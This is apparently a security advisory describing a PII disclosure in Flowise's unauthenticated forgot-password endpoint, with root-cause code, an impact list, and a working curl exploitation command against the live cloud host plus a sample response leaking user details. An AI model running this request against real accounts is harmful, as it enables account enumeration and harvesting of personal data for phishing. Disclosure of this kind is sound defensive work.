Flowise Vulnerable to PII Disclosure on Unauthenticated Forgot Password Endpoint

Summary

The /api/v1/account/forgot-password endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.

Vulnerability Details

Root Cause

In account.service.ts, the forgotPassword method returns the sanitized user object instead of a simple success acknowledgment:

public async forgotPassword(data: AccountDTO) {
    // ...
    const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
    if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)

    data.user = user
    // ... password reset logic ...

    return sanitizeUser(data.user)  // Returns user object with PII
}

The sanitizeUser function only removes sensitive authentication fields:

export function sanitizeUser(user: Partial<User>) {
    delete user.credential    // password hash
    delete user.tempToken     // reset token
    delete user.tokenExpiry

    return user  // Still contains: id, name, email, status, createdDate, updatedDate
}

Impact

An unauthenticated attacker can:

1. Harvest PII: Collect user IDs, full names, and account metadata
2. Profile users: Determine account creation dates and activity patterns
3. Enumerate accounts: Confirm email existence and gather associated data
4. Enable further attacks: Use harvested data for social engineering or targeted phishing

Exploitation

curl -X POST "https://cloud.flowiseai.com/api/v1/account/forgot-password" \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"victim@example.com"}}'

Evidence

Request:

POST /api/v1/account/forgot-password HTTP/1.1
Host: cloud.flowiseai.com
Content-Type: application/json

{"user":{"email":"vefag54010@naprb.com"}}

Response (201 Created):

{
    "id": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
    "name": "Vefag naprb",
    "email": "vefag54010@naprb.com",
    "status": "active",
    "createdDate": "2026-01-17T15:21:59.152Z",
    "updatedDate": "2026-01-17T15:35:06.492Z",
    "createdBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
    "updatedBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12"
}

<img width="1582" height="791" alt="screenshot" src="https://github.com/user-attachments/assets/9880f037-6e21-41d7-a7c8-7057c6775b50" />

Exposed Data

Expected Behavior

A secure forgot-password endpoint should return a generic response regardless of whether the email exists:

{"message": "If this email exists, a password reset link has been sent."}

References

• CWE-200: Exposure of Sensitive Information
• OWASP Authentication Cheat Sheet